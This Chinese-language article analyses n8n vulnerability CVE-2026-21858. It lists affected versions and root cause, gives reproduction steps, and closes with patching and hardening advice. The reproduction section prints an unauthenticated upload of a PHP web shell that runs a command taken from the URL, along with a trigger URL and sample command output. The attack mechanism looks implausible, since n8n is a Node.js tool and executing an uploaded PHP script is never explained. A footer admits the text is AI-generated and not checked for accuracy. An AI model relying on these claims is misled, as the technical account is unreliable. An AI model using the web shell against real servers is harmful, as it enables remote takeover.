n8n 前台远程代码执行漏洞(CVE-2026-21858)

n8n前台远程代码执行漏洞(CVE-2026-21858)深度分析与防护指南

漏洞概述

n8n是一款开源低代码自动化工作流工具,被广泛应用于企业业务流程自动化、数据同步等场景。CVE-2026-21858是n8n暴露的高危前台远程代码执行漏洞,未授权攻击者可通过构造恶意文件上传请求,直接在目标服务器执行任意代码,获取服务器控制权,对企业数据安全与业务连续性构成严重威胁。

影响版本

官方披露的受影响版本范围:

  • n8n 1.x系列版本 < 1.41.1
  • n8n 0.x系列所有未安装安全补丁的版本

已修复安全版本:n8n ≥ 1.41.1

漏洞原理深度解析

CVE-2026-21858漏洞的核心成因在于n8n文件上传模块的双重安全缺陷:

  1. 未授权访问绕过:n8n的文件上传核心接口(如/rest/upload)未对请求发起者进行身份校验,前台匿名用户可直接访问该接口提交上传请求;
  2. 文件校验机制缺失:接口未对上传文件的后缀名、MIME类型及内容进行有效校验,攻击者可上传包含恶意代码的脚本文件(如PHP、Node.js脚本),且文件会被存储在公开可访问的目录中,通过访问文件URL即可触发远程代码执行。

攻击者利用该漏洞时,无需任何身份凭证,仅需两步即可完成攻击:上传恶意脚本至服务器可访问目录,再通过URL触发脚本执行任意系统命令,最终完全控制目标服务器。

漏洞复现详细步骤

1. 搭建漏洞环境

使用Docker快速部署受CVE-2026-21858影响的n8n版本:

# 拉取受影响镜像
docker pull n8nio/n8n:1.40.0
# 启动容器,映射5678端口
docker run -d -p 5678:5678 n8nio/n8n:1.40.0

环境启动后,访问http://your-ip:5678即可进入n8n前台页面。

2. 构造恶意文件上传请求

使用Burp Suite或curl工具,向文件上传接口提交恶意脚本上传请求:

  • 请求URLhttp://your-ip:5678/rest/upload
  • 请求方法:POST
  • 请求头
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
  • 请求体
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="file"; filename="cve-2026-21858.php"
    Content-Type: application/octet-stream

<?php
echo "CVE-2026-21858 POC Result: ";
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--


发送请求后,若返回`200 OK`及文件存储路径(如`/data/uploads/cve-2026-21858.php`),则上传成功。

### 3. 触发远程代码执行
构造恶意文件访问URL,拼接执行命令的参数:

http://your-ip:5678/data/uploads/cve-2026-21858.php?cmd=id

服务器将返回命令执行结果,示例如下:

CVE-2026-21858 POC Result: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)

至此,n8n的CVE-2026-21858远程代码执行漏洞复现完成。

## 漏洞修复与安全加固建议

### 1. 官方版本升级
立即将n8n升级至官方安全版本**1.41.1及以上**,该版本已修复文件上传接口的未授权访问与文件校验缺陷。Docker环境升级命令:
```bash
# 停止旧版本容器
docker stop [n8n-container-id]
# 拉取安全版本镜像
docker pull n8nio/n8n:1.41.1
# 启动新版本容器
docker run -d -p 5678:5678 n8nio/n8n:1.41.1

2. 临时防护措施(无法立即升级时)

  • 限制上传接口访问:通过Nginx、Apache反向代理配置,仅允许内部可信IP访问/rest/upload等文件上传接口;
  • WAF规则拦截:部署Web应用防火墙(WAF),拦截包含恶意脚本内容的文件上传请求、未知后缀文件的访问请求;
  • 禁用不必要功能:若业务无需文件上传,直接禁用n8n的文件上传模块或相关接口。

3. 长期安全加固

  • 权限最小化:使用非root用户权限运行n8n容器/进程,降低漏洞被利用后的危害范围;
  • 日志审计:开启n8n的访问日志与审计功能,监控异常文件上传、陌生IP访问等可疑行为;
  • 定期扫描:通过漏洞扫描工具定期检测n8n系统安全状态,及时发现潜在风险;
  • 网络隔离:将n8n部署在内部可信网络区域,避免直接暴露在公网环境中。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。


评论 (0)